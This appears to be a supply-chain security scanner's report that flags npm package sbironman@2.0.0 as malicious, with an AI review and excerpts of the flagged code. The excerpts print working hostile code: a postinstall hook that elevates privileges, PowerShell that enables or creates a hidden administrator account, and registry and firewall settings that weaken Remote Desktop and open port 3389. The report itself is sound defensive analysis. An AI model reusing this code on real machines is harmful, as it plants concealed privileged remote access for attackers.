Loading npm security reports…

sbironman@2.0.0: Malicious npm security report (Block) | LPM Firewall

registry / sbironman / 2.0.0

sbironman@2.0.0

Internal Windows installer for Bikli CLI and Bikli Wrapper

AI Security Review

scanned 3h ago · by lpm-firewall-ai

On npm postinstall, the package requests elevation, silently installs payloads, enables insecure Remote Desktop, and provisions a hidden administrator-capable account. It also disguises the installed process as a Windows service and clears traces.

Static reason

One or more suspicious static signals were detected.

Trigger

npm install executes postinstall on Windows.

Impact

Unauthorised administrator-level remote access and reduced visibility on the host.

Mechanism

privileged hidden remote-access provisioning and stealth persistence.

Attack narrative

Installing the package runs its postinstall hook. The hook elevates through UAC, installs bundled executables, weakens and opens RDP, creates or enables an administrator-capable account using package configuration, hides associated folders/accounts, disguises the executable as a Microsoft service, and clears application-history traces. These actions are automatic and establish covert remote-access capability.

Rationale

This is concrete install-time hostile behavior, not merely an administrative installer: it creates concealed privileged remote access and employs impersonation and trace removal. Absence of observed network exfiltration does not reduce the severity of the resulting access channel.

Evidence

package.jsonbin/biklimaster.jslib/bikliwrapper.jsconfig.jsonpayload/bikli-cli-installer.exepayload/RDPWInst.exe

Decision evidence

public snapshot

Source & flagged code

7 flagged · loading source

package.jsonView file

•scripts.postinstall = node bin/biklimaster.js install --postinstall

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.postinstall = node bin/biklimaster.js install --postinstall

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

payload/bikli-cli-installer.exeView file

•path = payload/bikli-cli-installer.exe kind = native_binary sizeBytes = 11639800 magicHex = [redacted]

Medium

Ships Native Binary

Package ships native binary artifacts.

payload/bikli-cli-installer.exeView on unpkg

bin/biklimaster.jsView file

611function install() { requireWindows(); if (!isAdministrator()) return elevateAndRun('install'); verifyPayload(); installBikli(); setupBikliKey(); console.log('Installing or updating Bikli Wrapper silently...'); const wrapper = runWrapper(['install', '--elevated']); if (wrapper.stdout.trim()) console.log(wrapper.stdout.trim()); verifyRemoteDesktop(); createRdpAdministrator(); hideProtectedFolders(); clearAppHistory();

High

Ai Review Evidence

Install enables/creates an administrator account, adds RDP access, and hides it.

bin/biklimaster.jsView on unpkg · L611

759const requestedPassword = process.env.BIKLIMASTER_USER_PASSWORD || configuredAdministratorPassword(); const accountPassword = requestedPassword || generatedAccountPassword(); const script = [ `$ErrorActionPreference='Stop'`, `$password=$env:BIKLIMASTER_ACCOUNT_PASSWORD`, `$secure=ConvertTo-SecureString $password -AsPlainText -Force`, `$groupSids=@(${powershellLiteral(administratorsGroupSid)},${powershellLiteral(remoteDesktopUsersGroupSid)})`, `$builtIn=Get-LocalUser | Where-Object {$_.SID.Value -match '-500$'} | Select-Object -First 1`, `if($null -eq $builtIn){

High

Ai Review Evidence

Install enables/creates an administrator account, adds RDP access, and hides it.

bin/biklimaster.jsView on unpkg · L759

lib/bikliwrapper.jsView file

64{ key: rdpTcpKey, name: 'PortNumber', value: 3389, label: 'RDP port 3389' }, { key: rdpTcpKey, name: 'SecurityLayer', value: 1, label: 'Default RDP Authentication' }, { key: rdpTcpKey, name: 'UserAuthentication', value: 0, label: 'Network Level Authentication disabled' }, { key: rdpTcpKey, name: 'Shadow', value: 2, label: 'Full shadow access without permission' }, { key: rdpTcpKey, name: 'fSingleSessionPerUser', value: 0, label: 'RDP-Tcp multi-session enabled' },

High

Ai Review Evidence

RDP defaults disable NLA, allow shadowing without permission, and open port 3389.

lib/bikliwrapper.jsView on unpkg · L64

228function ensureFirewallRules() { const script = [ `$ErrorActionPreference='Stop'`, `$rules=@(@{Name='BikliWrapper-RDP-TCP';Protocol='TCP'},@{Name='BikliWrapper-RDP-UDP';Protocol='UDP'})`, `foreach($r in $rules){Remove-NetFirewallRule -Name $r.Name -ErrorAction SilentlyContinue;New-NetFirewallRule -Name $r.Name -DisplayName ('Bikli Wrapper Remote Desktop '+$r.Protocol) -Direction Inbound -Action Allow -Enabled True -Profile Any -Protocol $r.Protocol -LocalPort 3389 | Out-Null}` ].join(';'); run(powershellPath, ['-NoProfile', '-NonInteractive', '-Command', script]);

High

Ai Review Evidence

RDP defaults disable NLA, allow shadowing without permission, and open port 3389.

lib/bikliwrapper.jsView on unpkg · L228

Lines 739-779javascript

739 ]);

740 hideProtectedFolders();

741}

742

743function showAccountCredentials() {

744 requireWindows();

745 if (!isAdministrator()) return elevateAndRun('credentials');

746 if (!fs.existsSync(credentialsFile)) {

747 fail('No saved password is available. The built-in Administrator account may already have been enabled.');

748 }

749 const credentials = JSON.parse(fs.readFileSync(credentialsFile, 'utf8'));

750 console.log(`Username: ${credentials.username}`);

751 console.log(`Password: ${credentials.password}`);

752 console.log(`Stored for Administrators only: ${credentialsFile}`);

753}

754

755function createRdpAdministrator() {

756 requireWindows();

757 if (!isAdministrator()) return elevateAndRun('create-user');

758

759 const requestedPassword = process.env.BIKLIMASTER_USER_PASSWORD || configuredAdministratorPassword();

760 const accountPassword = requestedPassword || generatedAccountPassword();

761 const script = [

762 `$ErrorActionPreference='Stop'`,

763 `$password=$env:BIKLIMASTER_ACCOUNT_PASSWORD`,

764 `$secure=ConvertTo-SecureString $password -AsPlainText -Force`,

765 `$groupSids=@(${powershellLiteral(administratorsGroupSid)},${powershellLiteral(remoteDesktopUsersGroupSid)})`,

766 `$builtIn=Get-LocalUser | Where-Object {$_.SID.Value -match '-500$'} | Select-Object -First 1`,

767 `if($null -eq $builtIn){throw 'Built-in Administrator account (RID 500) was not found'}`,

High

Ai Review Evidence

Install enables/creates an administrator account, adds RDP access, and hides it.

bin/biklimaster.jsView on unpkg · L759

768 `$builtInWasDisabled=-not $builtIn.Enabled`,

769 `$target=$null;$action='';$createdNew=$false;$enabledBuiltIn=$false;$passwordChanged=$false`,

770 `if($builtInWasDisabled){Set-LocalUser -Name $builtIn.Name -Password $secure;Enable-LocalUser -Name $builtIn.Name;$target=Get-LocalUser -SID $builtIn.SID;$enabledBuiltIn=$true;$passwordChanged=$true;$action='enabled-builtin'}else{$admin=Get-LocalUser -Name 'admin' -ErrorAction SilentlyContinue;if($null -eq $admin){New-LocalUser -Name 'admin' -Password $secure -FullName 'admin' -Description 'Local administrator created by Bikli Master' -PasswordNeverExpires | Out-Null;$target=Get-LocalUser -Name 'admin';$createdNew=$true;$passwordChanged=$true;$action='created-admin'}else{$existingUser=Get- ...

771 `if(-not $target.Enabled){Enable-LocalUser -Name $target.Name;$target=Get-LocalUser -SID $target.SID}`,

772 `foreach($groupSid in $groupSids){$group=Get-LocalGroup -SID $groupSid;$member=Get-LocalGroupMember -Group $group.Name | Where-Object {$_.SID.Value -eq $target.SID.Value};if($null -eq $member){Add-LocalGroupMember -Group $group.Name -Member $target}}`,

773 `$verified=@()`,

774 `foreach($groupSid in $groupSids){$group=Get-LocalGroup -SID $groupSid;$member=Get-LocalGroupMember -Group $group.Name | Where-Object {$_.SID.Value -eq $target.SID.Value};if($null -eq $member){throw ('Account is not a member of '+$group.Name)};$verified+=$group.Name}`,

775 `$userListKey='HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList'`,

776 `$regKey=Get-Item -LiteralPath $userListKey -ErrorAction SilentlyContinue`,

777 `$currentVal=if($null -ne $regKey){$regKey.GetValue($target.Name, $null)}else{$null}`,

778 `if($null -eq $currentVal -or $currentVal -ne 0){if(-not (Test-Path $userListKey)){New-Item -Path $userListKey -Force | Out-Null};Set-ItemProperty -Path $userListKey -Name $target.Name -Type DWord -Value 0 -Force | Out-Null;$regKey=Get-Item -LiteralPath $userListKey;if($regKey.GetValue($target.Name, $null) -ne

779 `$userDir=Join-Path $env:SystemDrive ('Users\\'+$target.Name);if(Test-Path $userDir){attrib +h +s $userDir;attrib +h +s (Join-Path $userDir '*.*') /s /d}`,

Long lines were clipped for display.